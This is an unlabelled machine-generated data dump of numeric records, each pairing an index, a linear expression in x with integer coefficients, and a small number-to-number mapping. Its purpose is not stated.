124 19891*x + 6607 87->90 86 81629*x + 6217 72->74 55 79549*x + 6755 54->87 121 3313*x + 7366 76->42 87 20261*x + 4036 54->82 40 18371*x + 3620 75->40 34 74093*x + 322 43->86 53 36761*x + 7203 29->6 123 104393*x + 11607 57->52 42 104243*x + 11873 37->71 37 51503*x + 314 47->50 116 36833*x + 6243 78->95 111 67531*x + 5901 38->10 46 57397*x + 1181 69->7 126 66851*x + 4804 68->90 86 91099*x + 12880 68->93 98 103991*x + 13225 8->29 38 36373*x + 663 48->94 125 88667*x + 15206 19->17 104 5903*x + 7706 8->53 120 57973*x + 2008 0->16 66 80537*x + 4886 90->0 33 3511*x + 7912 86->94 125 2069*x + 7071 7->23 11 7963*x + 3300 88->61 10 94321*x + 8414 91->75 56 101449*x + 11400 95->88 71 43067*x + 2675 31->81 32 24611*x + 6705 73->89 107 6271*x + 6948 36->4 48 94541*x + 12879 90->21 9 50593*x + 4755 10->30 96 77611*x + 2548 74->90 86 16189*x + 6364 32->83 12 62861*x + 5646 24->47 90 3803*x + 2235 43->81 32 33791*x + 1898 93->52 42 2927*x + 6306 94->83 12 70067*x + 7482 91->79 100 69263*x + 6980 34->43 105 79873*x + 7320 48->15 63 70481*x + 7120 24->82 40 24373*x + 8166 18->65 95 72221*x + 4750 33->24 65 36709*x + 6097 84->16 66 23567*x + 6955 94->5 82 76717*x + 4443 66->44 45 98041*x + 11653 77->47 90 28579*x + 5692 32->39 113 19727*x + 1060 10->13 99 22717*x + 4244 43->60 85 24917*x + 1923 76->74 55 283*x + 7620 33->23 11 9413*x + 7932 1->7 126 2333*x + 555 81->74 55 1667*x + 7789 15->40 34 98929*x + 9970 49->91 91 101113*x + 16189 15->48 78 86677*x + 13376 11->78 76 95083*x + 8588 57->85 83 3023*x + 3099 83->98 93 78301*x + 4849 54->45 13 96497*x + 16184 98->69 59 1423*x + 3874 97->63 60 55351*x + 6079 66->54 94 47407*x + 6781 15->49 68 71161*x + 5231 54->47 90 61967*x + 6042 50->58 35 48109*x + 2500 7->46 74 5743*x + 48 87->96 67 50341*x + 4896 16->87 121 38833*x + 7797 86->45 13 17761*x + 6006 30->40 34 66413*x + 3311 53->57 109 76963*x + 7642 9->62 103 40637*x + 2287 60->88 71 35923*x + 764 9->20 62 24001*x + 1985 2->95 111 91309*x + 13445 57->36 79 33199*x + 4185 91->8 49 26591*x + 1914 66->1 112 40763*x + 1676 24->72 92 9323*x + 3155 25->83 12 7*x + 2995 8->66 44 10181*x + 782 36->87 121 91577*x + 11760 26->46 74 95603*x + 13877 91->94 125 23311*x + 274 30->63 60 59063*x + 2367 69->77 106 31891*x + 3424 37->37 114 87253*x + 14301 24->20 62 12479*x + 2055 81->61 10 53569*x + 6730 26->71 37 71777*x + 3527 5->21 9 46933*x + 6609 50->89 107 33343*x + 4001 64->41 73 12329*x + 2695 11->0 33 81001*x + 2405 59->42 87 28439*x + 4452 58->33 122 89759*x + 9772 39->53 120 77951*x + 4507 67->23 11 16103*x + 3638 10->51 97 46309*x + 5178 61->58 35 29927*x + 5056 56->1 112 53783*x + 7645 19->20 62 40709*x + 6914 74->72 92 3319*x + 4417 47->59 84 6247*x + 1741 25->75 56 71167*x + 3227 87->18 80 32143*x + 3547 74->2 72 44111*x + 7049 4->23 11 27961*x + 548 73->65 95 52511*x + 4615 43->82 40 16603*x + 3257 3->64 70 76253*x + 2877 38->86 53 8573*x + 3630 75->83 12 95413*x + 13117 13->2 72 51973*x + 3773 72->37 114 63389*x + 4731 10->75 56 43651*x + 1555 25->62 103 86171*x + 11823 82->26 81 12227*x + 3778 99->80 110 67789*x + 5936 47->86 53 52807*x + 1780 50->35 88 58049*x + 6363 24->21 9 16993*x + 3733 87->84 89 74779*x + 7204 30->64 70 24469*x + 5393 43->90 86 82981*x + 2720 85->37 114 98999*x + 13915 75->93 98 27337*x + 5625 76->23 11 51329*x + 6189 99->43 105 71963*x + 8010 44->78 76 14983*x + 2619 82->5 82 95443*x + 12664 35->93 98 82651*x + 631 81->3 118 98639*x + 14824 44->16 66 70621*x + 1145 61->15 63 14431*x + 7371 17->41 73 102481*x + 10886 53->17 104 89387*x + 11928 59->62 103 68891*x + 8099 31->59 84 47189*x + 7233 10->45 13 59743*x + 6570 0->67 117 65731*x + 6729 49->44 45 5179*x + 2258 12->37 114 1471*x + 2381 42->20 62 367*x + 1909 98->52 42 91733*x + 11057 50->79 100 44483*x + 5740 62->22 64 25471*x + 7011 24->94 125 701*x + 6390 38->27 58 31319*x + 6874 23->2 72 66923*x + 7083 17->18 80 11161*x + 2863 89->30 96 4493*x + 7648 90->89 107 79433*x + 4758 58->50 116 18169*x + 2129 52->24 65 58757*x + 3776 42->66 44 39419*x + 1058 5->34 41 33739*x + 7285 93->37 114 22943*x + 7332 2->18 80 71707*x + 7349 19->53 120 7841*x + 2803 39->32 69 82267*x + 7981 6->97 108 57251*x + 1442 96->31 47 27773*x + 3262 8->74 55 60427*x + 8078 42->69 59 38699*x + 5352 99->5 82 69677*x + 323 71->74 55 75437*x + 4683 6->13 99 6907*x + 6072 68->36 79 12487*x + 4345 51->69 59 82067*x + 4720 49->61 10 20897*x + 1666 16->84 89 2053*x + 5603 57->1 112 103391*x + 14029 48->36 79 1291*x + 4975 49->55 39 2437*x + 2145 71->51 97 14627*x + 7007 91->99 54 45247*x + 3595 65->91 91 36857*x + 5929 63->92 51 88493*x + 13501 73->39 113 53419*x + 2294 97->27 58 52769*x + 4163 91->45 13 24071*x + 3868 64->74 55 79259*x + 1907 50->74 55 43003*x + 4154 31->97 108 3229*x + 783 34->93 98 13799*x + 4619 53->93 98 43889*x + 7465 66->20 62 99839*x + 14734 41->98 93 25679*x + 6943 81->27 58 54437*x + 1300 57->55 39 78697*x + 4678 85->18 80 8647*x + 5168 86->60 85 18127*x + 6619 76->55 39 64033*x + 1508 2->79 100 102829*x + 10546 94->81 32 62039*x + 1691 57->4 48 81547*x + 1039 97->6 123 70507*x + 3489 39->34 41 83399*x + 1963 55->64 70 58211*x + 5105 64->6 123 94261*x + 14803 40->82 40 80363*x + 4451 42->3 118 40739*x + 6418 65->2 72 92987*x + 9937 59->38 75 98129*x + 11981 84->46 74 1063*x + 8134 39->71 37 69493*x + 467 35->80 110 73259*x + 5974 38->26 81 45823*x + 6266 27->51 97 1993*x + 5925 68->43 105 72431*x + 2875 31->55 39 32117*x + 6038 76->3 118 101089*x + 14032 63->25 52 103007*x + 10256 32->86 53 31267*x + 5871 2->91 91 32569*x + 4436 36->25 52 22013*x + 8 85->49 68 54413*x + 8133 21->33 122 102197*x + 9816 10->27 58 54617*x + 3990 75->94 125 92993*x + 15564 83->10 46 211*x + 793 36->55 39 13127*x + 364 87->69 59 4073*x + 5548 79->67 117 67219*x + 973 46->89 107 72649*x + 2917 70->97 108 51043*x + 2440 2->32 69 63977*x + 6420 67->7 126 60041*x + 1787 98->59 84 85819*x + 9861 20->98 93 54979*x + 2165 55->11 43 57457*x + 7237 8->62 103 51539*x + 116 19->33 122 75223*x + 3897 98->43 105 96443*x + 11699 44->22 64 50329*x + 7510 11->43 105 21379*x + 1999 97->37 114 71789*x + 461 0->37 114 941*x + 2241 8->17 104 25849*x + 5419 79->24 65 53239*x + 6721 90->73 102 76441*x + 5259 97->71 37 61583*x + 953 31->22 64 94477*x + 10042 61->60 85 49871*x + 771 95->77 106 37463*x + 2950 7->62 103 87557*x + 12059 41->73 102 66457*x + 27 90->54 94 14827*x + 995 17->8 49 71081*x + 1810 63->46 74 21863*x + 5113 84->76 124 16619*x + 6052 92->24 65 53017*x + 4381 91->71 37 57901*x + 4982 83->89 107 34679*x + 944 39->75 56 63617*x + 4521 19->73 102 36713*x + 3225 82->11 43 83903*x + 2074 92->73 102 30427*x + 1517 41->18 80 55603*x + 3555 14->71 37 27701*x + 2283 39->88 71 53819*x + 3310 76->84 89 8059*x + 2386 72->63 60 91229*x + 11761 98->4 48 29453*x + 56 66->3 118 29*x + 7793 48->29 38 661*x + 540 11->74 55 61441*x + 6318 1->61 10 51109*x + 6142 20->79 100 30323*x + 3678 56->45 13 11353*x + 1574 14->63 60 88951*x + 13520 43->77 106 56701*x + 4690 86->52 42 98387*x + 11720 40->8 49 55529*x + 2201 58->52 42 55051*x + 4027 40->54 94 54767*x + 7026 83->29 38 13093*x + 2871 3->73 102 52369*x + 7445 34->58 35 15101*x + 823 47->37 114 43517*x + 476 8->57 109 20201*x + 470 93->54 94 76831*x + 4000 57->94 125 41941*x + 2234 33->91 91 74383*x + 5666 35->19 61 67537*x + 5555 73->73 102 83101*x + 8055 85->69 59 22409*x + 3035 27->13 99 102407*x + 10701 57->0 33 37511*x + 1854 61->95 111 30839*x + 2710 92->63 60 65521*x + 7009 51->17 104 25033*x + 4692 29->94 125 36779*x + 8127 65->84 89 587*x + 1866 58->41 73 41161*x + 5564 70->58 35 2029*x + 2348 75->45 13 17599*x + 5062 56->38 75 15497*x + 682 21->31 47 4483*x + 8139 32->17 104 76487*x + 5360 10->77 106 31573*x + 2361 30->21 9 75707*x + 2670 81->9 115 12907*x + 7868 57->33 122 20717*x + 3689 84->92 51 94121*x + 10113 87->83 12 17011*x + 594 19->96 67 73*x + 494 17->92 51 32159*x + 907 44->26 81 12301*x + 849 75->24 65 59791*x + 2172 55->41 73 39761*x + 2327 39->46 74 16217*x + 5177 67->47 90 4423*x + 7725 1->32 69 67967*x + 5830 48->21 9 7537*x + 537 77->23 11 77743*x + 380 71->33 122 104107*x + 10144 32->7 126 96581*x + 10788 66->32 69 44129*x + 696 46->34 41 17783*x + 7189 32->69 59 84179*x + 12391 93->3 118 15877*x + 2608 92->3 118 82361*x + 7135 64->46 74 8741*x + 6823 65->60 85 14011*x + 873 61->83 12 46477*x + 700 42->21 9 21061*x + 1010 51->51 97 75133*x + 2300 48->68 36 85247*x + 9395 5->4 48 72251*x + 3791 48->54 94 61781*x + 3988 44->87 121 86117*x + 11034 56->78 76 83047*x + 257 92->37 114 4937*x + 5027 94->15 63 57163*x + 5354 29->74 55 97327*x + 16011 28->21 9 26777*x + 7952 95->64 70 51419*x + 3213 12->72 92 69991*x + 6019 53->95 111 37571*x + 198 75->39 113 15319*x + 107 61->13 99 101527*x + 14628 24->32 69 46471*x + 5077 30->11 43 17401*x + 6057 0->94 125 14767*x + 2311 93->66 44 89659*x + 12533 80->53 120 46147*x + 3055 39->30 96 71909*x + 1619 21->51 97 31517*x + 2387 1->15 63 83177*x + 6899 12->23 11 54469*x + 8042 39->29 38 68713*x + 6773 11->27 58 83389*x + 6717 32->62 103 95789*x + 12429 21->0 33 2819*x + 312 40->89 107 70843*x + 5594 7->47 90 82387*x + 7977 8->41 73 61339*x + 2444 0->74 55 43237*x + 6254 44->29 38 48571*x + 6437 35->84 89 4153*x + 3599 5->89 107 86423*x + 8608 40->75 56 7879*x + 5115 68->22 64 48821*x + 1654 75->50 116 47309*x + 770 60->36 79 6577*x + 2714 9->15 63 24337*x + 2069 63->54 94 84649*x + 9854 69->87 121 43*x + 2895 93->49 68 8191*x + 84 22->86 53 96157*x + 8548 67->3 118 18413*x + 7752 32->97 108 5011*x + 7544 61->55 39 50321*x + 847 84->86 53 41221*x + 7957 17->10 46 31223*x + 5656 85->52 42 100937*x + 10670 97->78 76 72673*x + 4653 88->51 97 63131*x + 6934 1->10 46 63997*x + 7226 88->16 66 76283*x + 909 19->4 48 55829*x + 577 83->13 99 54091*x + 4040 17->17 104 103619*x + 8700 62->62 103 13499*x + 5842 47->9 115 34537*x + 2628 73->67 117 75539*x + 7628 38->73 102 103093*x + 14748 25->60 85 8719*x + 1339 82->41 73 77933*x + 7737 45->77 106 45341*x + 4788 36->84 89 73523*x + 1844 67->30 96 26701*x + 2577 82->56 119 86287*x + 8193 76->53 120 60821*x + 3669 76->9 115 67189*x + 3585 45->28 50 15727*x + 1390 39->94 125 24029*x + 8154 52->73 102 99881*x + 9167 82->35 88 38239*x + 6812 35->87 121 50093*x + 6088 96->19 61 34313*x + 2656 27->47 90 4001*x + 7381 53->44 45 27541*x + 4351 15->16 66 67993*x + 7809 85->84 89 37589*x + 637 51->59 84 2089*x + 2939 43->75 56 64303*x + 1015 58->82 40 63499*x + 1472 40->58 35 93493*x + 10513 24->42 87 10771*x + 7946 13->42 87 36551*x + 6713 8->3 118 17047*x + 2558 25->31 47 947*x + 2147 91->81 32 81667*x + 698 20->31 47 51437*x + 1580 49->45 13 21851*x + 3441 11->7 126 85711*x + 13182 30->39 113 60103*x + 5558 79->31 47 82889*x + 3655 86->22 64 48049*x + 3743 70->41 73 102967*x + 11949 67->40 34 68917*x + 767 9->25 52 81049*x + 1028 62->46 74 75773*x + 8148 75->86 53 92647*x + 14093 55->4 48 96281*x + 15518 35->46 74 41911*x + 3467 19->78 76 15139*x + 5174 69->95 111 60493*x + 6352 13->5 82 88813*x + 9295 91->34 41 25771*x + 1340 70->8 49 99289*x + 11104 5->58 35 62501*x + 6910 92->96 67 44171*x + 1663 52->29 38 37549*x + 7964 25->59 84 20681*x + 7356 51->15 63 15823*x + 6860 64->18 80 42937*x + 3592 5->55 39 54983*x + 8160 81->14 77 30203*x + 3971 92->25 52 85243*x + 9617 9->18 80 4793*x + 3794 5->35 88 55903*x + 6195 2->86 53 49727*x + 1808 86->66 44 100333*x + 12225 83->92 51 35129*x + 2630 14->33 122 27743*x + 6336 38->84 89 28703*x + 2794 33->95 111 45959*x + 968 51->11 43 94651*x + 12940 53->15 63 21523*x + 6591 57->31 47 80429*x + 2760 76->65 95 22193*x + 5345 37->90 86 73079*x + 7360 8->84 89 3719*x + 798 31->46 74 31177*x + 633 93->92 51 88169*x + 10472 14->69 59 52709*x + 1378 48->44 45 29641*x + 3113 10->62 103 95401*x + 9711 26->92 51 91331*x + 8541 29->64 70 60617*x + 3727 52->97 108 2711*x + 4142 66->88 71 65713*x + 5489 16->29 38 1307*x + 3464 73->5 82 68113*x + 2175 69->36 79 89897*x + 10719 57->49 68 887*x + 1259 46->48 78 57131*x + 5488 42->0 33 13711*x + 1132 41->38 75 2113*x + 4303 0->17 104 5003*x + 82 33->4 48 59*x + 215 51->65 95 76403*x + 4251 83->33 122 65423*x + 4209 67->60 85 53437*x + 4045 25->56 119 52313*x + 1561 3->80 110 95707*x + 11759 47->8 49 85669*x + 10359 65->66 44 30493*x + 8113 49->10 46 82307*x + 4380 34->2 72 98641*x + 11801 39->16 66 57737*x + 2732 53->13 99 74293*x + 5844 50->73 102 103769*x + 14429 95->32 69 7591*x + 6280 12->45 13 29347*x + 884 34->13 99 21407*x + 2597 13->13 99 91393*x + 14547 64->51 97 87323*x + 11160 77->20 62 56393*x + 1729 0->21 9 96259*x + 11952 64->32 69 35291*x + 6402 5->86 53 86561*x + 10838 24->52 42 23059*x + 5154 59->86 53 3323*x + 4554 29->25 52 49177*x + 650 10->83 12 37607*x + 2532 29->57 109 74941*x + 7545 73->76 124 19997*x + 6601 13->14 77 102461*x + 10581 23->75 56 54721*x + 4477 30->10 46 91433*x + 10137 68->38 75 83933*x + 1372 75->10 46 24107*x + 3199 38->35 88 100769*x + 12117 21->69 59 1913*x + 2584 73->22 64 16759*x + 3393 7->77 106 62603*x + 3653 2->50 116 103123*x + 9038 22->52 42 97961*x + 9508 38->51 97 37159*x + 6351 96->70 57 18617*x + 7340 98->88 71 73019*x + 6067 55->44 45 78979*x + 3941 9->78 76 71671*x + 1820 37->50 116 34231*x + 8052 17->23 11 11813*x + 4207 76->86 53 23339*x + 403 30->32 69 11261*x + 7344 26->36 79 43487*x + 1415 68->32 69 4877*x + 4938 4->79 100 39239*x + 1949 29->96 67 40039*x + 2657 11->38 75 63527*x + 7682 22->38 75 103001*x + 13770 56->50 116 18859*x + 3485 85->95 111 23677*x + 4810 14->29 38 76837*x + 8033 42->78 76 33347*x + 8151 53->20 62 38231*x + 2138 57->22 64 86857*x + 12802 71->6 123 40361*x + 1463 55->60 85 86993*x + 10638 29->95 111 16889*x + 5804 91->14 77 87701*x + 11429 26->60 85 27073*x + 6234 84->5 82 77447*x + 3034 76->2 72 76003*x + 2286 97->8 49 89083*x + 10836 93->0 33 97499*x + 9160 74->14 77 48337*x + 7025 0->12 101 93371*x + 16125 15->36 79 2843*x + 5304 21->94 125 2473*x + 3949 20->10 46 3433*x + 932 86->65 95 42901*x + 7151 72->4 48 61871*x + 7983 42->61 10 25153*x + 4370 56->20 62 1009*x + 2735 43->19 61 96911*x + 11338 38->46 74 24229*x + 7408 85->43 105 87943*x + 11888 4->3 118 39619*x + 1066 73->12 101 73363*x + 4897 36->36 79 7369*x + 7708 34->84 89 61231*x + 3484 25->16 66 98837*x + 13454 49->97 108 379*x + 573 21->91 91 90011*x + 16217 75->62 103 2017*x + 4833 55->73 102 81563*x + 5715 70->90 86 18433*x + 3716 83->80 110 2207*x + 5202 10->55 39 25163*x + 763 56->90 86 82613*x + 4145 9->84 89 2693*x + 4572 62->52 42 49747*x + 3722 14->43 105 103573*x + 12555 6->66 44 73243*x + 1431 77->21 9 98669*x + 8308 96->13 99 53173*x + 7319 53->21 9 84691*x + 10781 91->76 124 67003*x + 5800 64->28 50 30677*x + 3404 74->71 37 78059*x + 916 62->30 96 96757*x + 9268 17->60 85 53617*x + 1635 76->66 44 14549*x + 4449 34->99 54 36497*x + 1775 24->91 91 55399*x + 7778 71->34 41 5857*x + 3554 82->37 114 44383*x + 7288 21->71 37 37217*x + 3862 43->43 105 71263*x + 5068 16->7 126 25643*x + 2418 40->61 10 42227*x + 2501 27->40 34 15359*x + 3330 45->33 122 99191*x + 14269 80->68 36 98543*x + 15586 5->12 101 5879*x + 7503 56->4 48 44449*x + 6763 72->50 116 56527*x + 2039 29->40 34 33647*x + 1263 64->16 66 19267*x + 5049 65->97 108 86029*x + 11133 64->92 51 25733*x + 85 87->78 76 72647*x + 3250 21->95 111 5669*x + 3850 57->28 50 70289*x + 6222 45->32 69 30809*x + 1316 55->7 126 41863*x + 833 61->22 64 92699*x + 9017 5->97 108 10529*x + 2011 10->5 82 56167*x + 1455 10->95 111 89261*x + 8381 67->36 79 47837*x + 7363 9->52 42 5471*x + 1608 36->1 112 149*x + 2599 91->1 112 66791*x + 2222 60->70 57 57637*x + 51 96->1 112 40939*x + 7557 15->11 43 84247*x + 15761 79->68 36 39857*x + 5324 8->51 97 28351*x + 5278 51->31 47 69457*x + 4529 70->10 46 46327*x + 1937 42->37 114 22639*x + 4503 31->14 77 78539*x + 6853 45->74 55 51517*x + 5509 76->11 43 33113*x + 4811 58->88 71 96181*x + 8194 2->74 55 29059*x + 2104 9->72 92 75611*x + 4440 15->64 70 73859*x + 2463 9->60 85 84011*x + 731 39->56 119 78721*x + 5597 59->20 62 12149*x + 6380 3->42 87 100207*x + 13767 80->30 96 82847*x + 6230 43->79 100 49411*x + 3488 61->82 40 63857*x + 3718 21->4 48 65257*x + 7078 58->39 113 85439*x + 15188 16->33 122 21859*x + 2799 49->74 55 23879*x + 1085 58->67 117 46957*x + 3565 61->98 93 17209*x + 3318 90->7 126 47147*x + 7962 3->3 118 101531*x + 10072 71->90 86 67271*x + 4316 14->92 51 18097*x + 5839 92->49 68 42239*x + 7457 36->46 74 6553*x + 3672 36->18 80 32693*x + 7326 37->53 120 5851*x + 2942 0->11 43 67489*x + 1041 60->92 51 48973*x + 5084 48->71 37 2137*x + 6473 63->86 53 77081*x + 6303 53->11 43 1511*x + 7428 94->97 108 83939*x + 4042 22->97 108 68711*x + 28 60->33 122 13399*x + 6041 81->2 72 97673*x + 13706 97->77 106 82189*x + 6192 85->81 32 8317*x + 4198 67->6 123 87721*x + 9417 94->75 56 43331*x + 688 95->9 115 87751*x + 9570 86->2 72 97789*x + 12630 28->18 80 88997*x + 8282 21->56 119 97787*x + 16343 60->28 50 37049*x + 4373 58->92 51 90821*x + 12967 36->2 72 26849*x + 2158 59->52 42 9187*x + 3328 59->73 102 70663*x + 7460 39->26 81 80407*x + 5093 48->84 89 102301*x + 16274 42->32 69 71059*x + 1482 82->8 49 1787*x + 1206 82->24 65 20359*x + 2938 62->55 39 15773*x + 5774 18->28 50 45691*x + 5864 44->91 91 49201*x + 6775 36->72 92 72871*x + 516 10->74 55 49943*x + 4428 5->95 111 87211*x + 13027 28->98 93 74527*x + 6519 60->18 80 6043*x + 5984 77->7 126 31667*x + 1887 85->16 66 21179*x + 8152 92->87 121 56951*x + 5644 19->59 84 7039*x + 3994 20->49 68 55673*x + 6268 54->50 116 85361*x + 8948 52->51 97 10427*x + 2791 57->76 124 72577*x + 6131 90->49 68 44987*x + 7734 43->65 95 22367*x + 6593 4->53 120 7019*x + 5809 18->58 35 97609*x + 8458 64->80 110 79201*x + 8003 71->59 84 54973*x + 8162 25->82 40 67759*x + 1094 26->72 92 62273*x + 2016 13->33 122 36523*x + 5300 91->90 86 55337*x + 6917 66->9 115 58543*x + 79 13->12 101 58027*x + 3775 79->75 56 59333*x + 6653 73->52 42 72031*x + 2664 96->97 108 71479*x + 5391 54->23 11 13417*x + 4550 19->32 69 32531*x + 4486 97->69 59 61519*x + 1170 46->35 88 7639*x + 5108 92->81 32 61949*x + 6339 60->74 55 87793*x + 14187 25->51 97 34273*x + 857 85->22 64 77267*x + 4330 0->89 107 97103*x + 15661 77->48 78 75931*x + 2934 41->8 49 13163*x + 6104 19->57 109 45053*x + 1591 38->82 40 45329*x + 5947 38->61 10 87869*x + 15941 19->51 97 25943*x + 292 54->77 106 1549*x + 4167 10->41 73 14669*x + 1083 36->94 125 31397*x + 2621 78->23 11 23549*x + 852 45->37 114 14639*x + 1113 54->92 51 77761*x + 4013 75->14 77 2267*x + 4183 48->64 70 46489*x + 4782 66->93 98 34297*x + 3373 10->76 124 86711*x + 8584 0->82 40 70019*x + 5289 63->12 101 47143*x + 238 52->36 79 499*x + 2867 59->91 91 88867*x + 11472 89->27 58 62477*x + 827 41->59 84 20551*x + 7564 19->19 61 85793*x + 14389 8->87 121 89633*x + 8508 18->27 58 6689*x + 4883 75->4 48 80933*x + 604 88->42 87 60251*x + 1967 24->22 64 92459*x + 15790 10->7 126 63587*x + 879 80->20 62 2377*x + 4546 4->38 75 94559*x + 8301 82->43 105 4721*x + 1826 51->48 78 37397*x + 5061 28->86 53 33203*x + 699 71->55 39 43613*x + 5141 51->84 89 64919*x + 4943 56->93 98 30517*x + 4270 94->18 80 71483*x + 8132 29->41 73 70249*x + 6903 79->27 58 26177*x + 1536 35->34 41 81703*x + 4354 56->51 97 63361*x + 1413 20->26 81 51907*x + 6841 11->23 11 85093*x + 9983 97->68 36 60139*x + 7268 4->46 74 8329*x + 3908 97->36 79 41729*x + 4288 89->57 109 18637*x + 1915 34->96 67 61729*x + 5395 46->51 97 45389*x + 1400 61->59 84 13*x + 1143 63->93 98 61909*x + 3327 77->19 61 94903*x + 12557 61->93 98 41081*x + 7365 64->31 47 1783*x + 5659 34->57 109 23857*x + 5827 5->0 33 40819*x + 5348 37->64 70 16141*x + 7629 95->7 126 33829*x + 248 66->37 114 65119*x + 1466 71->30 96 56809*x + 7822 52->65 95 84871*x + 13316 32->26 81 89963*x + 13600 27->74 55 4003*x + 3134 88->90 86 16763*x + 6926 29->29 38 61667*x + 556 90->98 93 21821*x + 525 42->44 45 66653*x + 6857 56->55 39 17989*x + 7104 59->69 59 14071*x + 2603 89->99 54 86501*x + 15212 93->61 10 85297*x + 15676 67->73 102 101*x + 3144 49->20 62 1061*x + 3864 79->2 72 163*x + 1001 77->11 43 72701*x + 4011 54->0 33 14683*x + 7705 46->56 119 57653*x + 2291 73->42 87 8693*x + 6772 65->15 63 39119*x + 3965 21->72 92 24547*x + 429 39->11 43 419*x + 5028 77->68 36 71693*x + 1321 61->69 59 85193*x + 14615 33->90 86 15289*x + 7266 20->67 117 42013*x + 4715 79->32 69 35107*x + 1753 43->12 101 61463*x + 2264 24->7 126 34919*x + 2137 40->27 58 69557*x + 4433 57->83 12 70793*x + 5299 30->18 80 16631*x + 3933 87->10 46 241*x + 4838 25->34 41 89783*x + 10934 35->2 72 101681*x + 9107 49->64 70 7717*x + 1739 12->3 118 103553*x + 12151 14->5 82 6793*x + 1501 25->54 94 85817*x + 8465 33->47 90 92173*x + 14421 9->53 120 81919*x + 7018 49->14 77 12157*x + 1597 49->12 101 74441*x + 6070 29->0 33 79241*x + 3025 60->75 56 69899*x + 5229 49->77 106 21961*x + 6786 82->80 110 50101*x + 5585 12->90 86 68879*x + 1289 32->44 45 15329*x + 3812 33->20 62 10079*x + 7945 74->73 102 46261*x + 492 38->8 49 2837*x + 202 23->18 80 46747*x + 5563 3->78 76 85333*x + 10941 65->98 93 19949*x + 5127 35->97 108 89611*x + 16316 27->24 65 76289*x + 2953 7->65 95 74897*x + 98 21->13 99 47857*x + 4816 23->76 124 37537*x + 2190 40->97 108 90053*x + 12080 42->89 107 85831*x + 14672 61->53 120 37507*x + 1269 2->0 33 41719*x + 7348 98->84 89 47791*x + 7367 34->79 100 47303*x + 336 90->5 82 69239*x + 12 84->9 115 18043*x + 1717 84->53 120 77029*x + 2966 48->12 101 87587*x + 15775 45->66 44 49831*x + 8095 82->85 83 8689*x + 811 9->26 81 40639*x + 6513 24->28 50 58549*x + 3372 19->75 56 84017*x + 515 62->32 69 5711*x + 6820 79->40 34 4729*x + 7634 2->47 90 85661*x + 11664 53->43 105 42641*x + 1332 15->12 101 35267*x + 860 83->22 64 53101*x + 1819 23->5 82 7349*x + 7679 95->14 77 8219*x + 4232 65->26 81 94349*x + 16369 62->60 85 66509*x + 4286 86->8 49 100987*x + 12864 26->2 72 73189*x + 6260 73->81 32 85643*x + 15628 12->17 104 44101*x + 5816 59->43 105 77797*x + 6630 1->11 43 73369*x + 5158 17->25 52 10973*x + 5478 39->84 89 56891*x + 5575 8->8 49 33247*x + 4649 73->96 67 32803*x + 4704 38->83 12 12547*x + 5017 52->22 64 10357*x + 6784 74->95 111 56179*x + 3151 95->22 64 27271*x + 6288 23->85 83 67427*x + 1324 63->99 54 13009*x + 3929 2->43 105 75821*x + 4097 78->86 53 63781*x + 3707 89->39 113 26111*x + 2550 3->54 94 42703*x + 7625 32->46 74 38069*x + 7333 97->46 74 95929*x + 11420 66->40 34 12377*x + 2323 20->36 79 104551*x + 15006 4->10 46 46649*x + 4850 69->69 59 25951*x + 5406 84->68 36 1231*x + 2337 58->72 92 71353*x + 3948 20->61 10 53231*x + 3659 48->4 48 86771*x + 8473 36->3 118 36467*x + 3602 1->76 124 56383*x + 6760 57->57 109 21419*x + 7328 37->42 87 6263*x + 131 35->83 12 23609*x + 2398 76->30 96 58763*x + 88 38->0 33 48679*x + 7656 92->32 69 44959*x + 4103 51->44 45 6961*x + 2983 25->11 43 16249*x + 7847 69->40 34 77431*x + 7552 16->44 45 31327*x + 498 28->69 59 64627*x + 7015 30->81 32 68389*x + 4265 51->45 13 8147*x + 7935 87->73 102 97577*x + 10530 25->79 100 22481*x + 1456 62->82 40 81181*x + 4360 30->8 49 199*x + 562 32->80 110 32933*x + 3211 18->71 37 49499*x + 3166 31->41 73 31663*x + 4743 71->78 76 33409*x + 197 31->31 47 11897*x + 7024 24->77 106 57829*x + 1948 57->24 65 92143*x + 10624 59->14 77 64693*x + 960 8->39 113 28559*x + 345 3->11 43 11059*x + 2095 38->81 32 78781*x + 6930 86->87 121 80677*x + 784 53->74 55 10247*x + 788 93->80 110 54647*x + 3692 91->42 87 36251*x + 100 96->16 66 22807*x + 6850 31->47 90 70183*x + 2534 99->26 81 55127*x + 1398 45->8 49 72467*x + 1733 86->4 48 91381*x + 10667 26->35 88 60737*x + 4206 28->10 46 43093*x + 2856 85->65 95 43627*x + 3989 64->22 64 72091*x + 813 84->13 99 21143*x + 2086 67->16 66 49139*x + 4592 28->2 72 70201*x + 4285 91->37 114 58907*x + 539 36->24 65 15149*x + 2590 7->57 109 43321*x + 721 25->84 89 55807*x + 3652 8->98 93 51347*x + 2754 11->48 78 40459*x + 6165 29->32 69 99859*x + 15158 9->80 110 80341*x + 4574 89->98 93 5281*x + 1009 7->43 105 7817*x + 2452 23->62 103 67129*x + 3002 72->49 68 7561*x + 3386 18->60 85 87881*x + 8577 79->25 52 26993*x + 836 31->5 82 11251*x + 6084 94->22 64 14723*x + 3782 4->59 84 27179*x + 4282 89->43 105 94603*x + 16188 81->94 125 10711*x + 4756 91->6 123 56963*x + 2685 67->1 112 37897*x + 2699 48->48 78 13469*x + 5264 24->43 105 2239*x + 8063 0->49 68 58573*x + 5969 85->24 65 99833*x + 11621 98->23 11 26357*x + 7764 61->50 116 13151*x + 5908 20->28 50 13411*x + 502 39->58 35 37529*x + 2251 56->74 55 69829*x + 7798 62->44 45 92641*x + 13471 8->92 51 84629*x + 15759 30->72 92 55511*x + 928 45->0 33 34963*x + 6846 77->94 125 70657*x + 4735 42->22 64 24533*x + 7609 85->56 119 66271*x + 1518 97->22 64 96149*x + 15380 24->37 114 50599*x + 7180 80->52 42 42677*x + 8122 34->74 55 32381*x + 150 67->45 13 77977*x + 2217 30->86 53 93263*x + 10724 81->50 116 56263*x + 4124 29->61 10 56821*x + 4794 22->45 13 2851*x + 6016 0->0 33 1747*x + 368 59->8 49 17393*x + 3068 13->41 73 78823*x + 6110 14->2 72 98621*x + 15295 59->75 56 22619*x + 8058 59->1 112 10391*x + 7167 49->51 97 78203*x + 5761 56->60 85 20549*x + 4496 8->42 87 50291*x + 6998 97->31 47 29873*x + 4869 4->74 55 16673*x + 5915 50->84 89 73433*x + 6659 36->14 77 100981*x + 13345 15->63 60 87473*x + 14772 99->31 47 5923*x + 5026 62->93 98 87931*x + 16057 51->32 69 40597*x + 3195 87->51 97 27253*x + 4375 45->13 99 4637*x + 7211 7->93 98 82193*x + 2136 99->9 115 28289*x + 6252 4->49 68 21139*x + 5361 55->53 120 3109*x + 654 